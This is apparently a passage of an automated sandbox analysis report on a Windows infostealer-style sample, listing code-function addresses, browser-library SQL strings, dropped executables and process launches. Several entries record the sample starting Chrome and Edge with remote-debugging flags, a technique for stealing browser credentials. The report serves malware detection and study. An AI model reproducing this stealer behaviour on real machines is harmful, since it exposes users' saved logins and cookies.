Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAED4E0	0_2_6CAED4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D4D0	0_2_6CB0D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF64C0	0_2_6CAF64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5542B	0_2_6CB5542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB25C10	0_2_6CB25C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32C10	0_2_6CB32C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5AC00	0_2_6CB5AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5545C	0_2_6CB5545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF5440	0_2_6CAF5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB485F0	0_2_6CB485F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB20DD0	0_2_6CB20DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0ED10	0_2_6CB0ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB10512	0_2_6CB10512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFFD00	0_2_6CAFFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB44EA0	0_2_6CB44EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB05E90	0_2_6CB05E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4E680	0_2_6CB4E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB576E3	0_2_6CB576E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEBEF0	0_2_6CAEBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFFEF0	0_2_6CAFFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB49E30	0_2_6CB49E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB27E10	0_2_6CB27E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35600	0_2_6CB35600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB56E63	0_2_6CB56E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC670	0_2_6CAEC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB09E50	0_2_6CB09E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB23E50	0_2_6CB23E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04640	0_2_6CB04640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB32E4E	0_2_6CB32E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB377A0	0_2_6CB377A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB16FF0	0_2_6CB16FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEDFE0	0_2_6CAEDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB27710	0_2_6CB27710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF9F00	0_2_6CAF9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB160A0	0_2_6CB160A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0C0E0	0_2_6CB0C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB258E0	0_2_6CB258E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB550C7	0_2_6CB550C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2B820	0_2_6CB2B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB34820	0_2_6CB34820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAF7810	0_2_6CAF7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2F070	0_2_6CB2F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB08850	0_2_6CB08850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0D850	0_2_6CB0D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1D9B0	0_2_6CB1D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEC9A0	0_2_6CAEC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB25190	0_2_6CB25190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB42990	0_2_6CB42990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B970	0_2_6CB3B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5B170	0_2_6CB5B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFD960	0_2_6CAFD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB0A940	0_2_6CB0A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB52AB0	0_2_6CB52AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE22A0	0_2_6CAE22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB14AA0	0_2_6CB14AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFCAB0	0_2_6CAFCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5BA90	0_2_6CB5BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB01AF0	0_2_6CB01AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2E2F0	0_2_6CB2E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB28AC0	0_2_6CB28AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB29A60	0_2_6CB29A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAEF380	0_2_6CAEF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB553C8	0_2_6CB553C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2D320	0_2_6CB2D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAFC370	0_2_6CAFC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE5340	0_2_6CAE5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEECD0	0_2_6CBEECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8ECC0	0_2_6CB8ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC56C00	0_2_6CC56C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9AC60	0_2_6CB9AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6AC30	0_2_6CC6AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94DB0	0_2_6CB94DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD1CDC0	0_2_6CD1CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC26D90	0_2_6CC26D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBAD50	0_2_6CCBAD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5ED70	0_2_6CC5ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD18D20	0_2_6CD18D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30EC0	0_2_6CC30EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC16E90	0_2_6CC16E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9AEC0	0_2_6CB9AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2EE70	0_2_6CC2EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC70E20	0_2_6CC70E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9EFB0	0_2_6CB9EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6EFF0	0_2_6CC6EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB90FE0	0_2_6CB90FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8FB0	0_2_6CCD8FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB96F10	0_2_6CB96F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC52F70	0_2_6CC52F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD0F20	0_2_6CCD0F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBFEF40	0_2_6CBFEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC968E0	0_2_6CC968E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC64840	0_2_6CC64840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE0820	0_2_6CBE0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A820	0_2_6CC1A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCAC9E0	0_2_6CCAC9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC49F0	0_2_6CBC49F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC209A0	0_2_6CC209A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC4A9A0	0_2_6CC4A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC509B0	0_2_6CC509B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE6900	0_2_6CBE6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC8960	0_2_6CBC8960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0EA80	0_2_6CC0EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC0CA70	0_2_6CC0CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC3EA00	0_2_6CC3EA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC48A30	0_2_6CC48A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC96BE0	0_2_6CC96BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30BA0	0_2_6CC30BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2A4D0	0_2_6CC2A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCBA480	0_2_6CCBA480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBD64D0	0_2_6CBD64D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF4420	0_2_6CBF4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA8460	0_2_6CBA8460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1A430	0_2_6CC1A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB845B0	0_2_6CB845B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5A5E0	0_2_6CC5A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC1E5F0	0_2_6CC1E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC94540	0_2_6CC94540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8550	0_2_6CCD8550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC30570	0_2_6CC30570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF2560	0_2_6CBF2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE8540	0_2_6CBE8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2E6E0	0_2_6CC2E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEE6E0	0_2_6CBEE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB46D0	0_2_6CBB46D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBEC650	0_2_6CBEC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBA7D0	0_2_6CBBA7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC10700	0_2_6CC10700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA00B0	0_2_6CBA00B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB88090	0_2_6CB88090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC6C0B0	0_2_6CC6C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5C000	0_2_6CC5C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBDE070	0_2_6CBDE070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC58010	0_2_6CC58010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB901E0	0_2_6CB901E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC06130	0_2_6CC06130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC74130	0_2_6CC74130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBF8140	0_2_6CBF8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CD162C0	0_2_6CD162C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC622A0	0_2_6CC622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC5E2B0	0_2_6CC5E2B0
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006B8860	22_2_006B8860
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006B7049	22_2_006B7049
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006B78BB	22_2_006B78BB
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006B31A8	22_2_006B31A8
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_00674B30	22_2_00674B30
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006B2D10	22_2_006B2D10
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_00674DE0	22_2_00674DE0
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006A7F36	22_2_006A7F36
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: 22_2_006B779B	22_2_006B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00D078BB	23_2_00D078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00D07049	23_2_00D07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00D08860	23_2_00D08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00D031A8	23_2_00D031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CC4B30	23_2_00CC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CC4DE0	23_2_00CC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00D02D10	23_2_00D02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00D0779B	23_2_00D0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00CF7F36	23_2_00CF7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00D078BB	24_2_00D078BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00D07049	24_2_00D07049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00D08860	24_2_00D08860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00D031A8	24_2_00D031A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00CC4B30	24_2_00CC4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00CC4DE0	24_2_00CC4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00D02D10	24_2_00D02D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00D0779B	24_2_00D0779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 24_2_00CF7F36	24_2_00CF7F36

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CD80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00CDDF80 appears 36 times
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Code function: String function: 006880C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD1D930 appears 37 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBB3620 appears 51 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB294D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CBB9B10 appears 42 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD1DAE0 appears 46 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CD109D0 appears 196 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB1CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2764419850.000000006CD65000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2759553434.0000000023341000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: oweoibkj ZLIB complexity 0.9947093986742425
Source: random[1].exe0.26.dr	Static PE information: Section: oweoibkj ZLIB complexity 0.9947093986742425
Source: c41846ccfb.exe.26.dr	Static PE information: Section: oweoibkj ZLIB complexity 0.9947093986742425

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@82/304@33/25

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB47030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB47030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\UV7ORHJS.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5308:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\9214e0d8-dd72-40d7-acea-14ed117d4bfa.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2764284320.000000006CD1F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2496849108.000000001D290000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418119531.000000001D275000.00000004.00000020.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427587735.0000000005677000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3427871243.000000000565B000.00000004.00000800.00020000.00000000.sdmp, 3cb3eea49a.exe, 0000001C.00000003.3446414849.0000000005677000.00000004.00000800.00020000.00000000.sdmp, AAEHIDAKECFIEBGDHJEB.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2763696454.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2755125269.000000001D37E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 34%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2588 --field-trial-handle=2524,i,9816825700669326211,7744358468109525657,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2228,i,9693784177863830162,11049134398304697985,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6644 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2000,i,12618445916723841129,14991964039752056864,262144 /prefetch:8
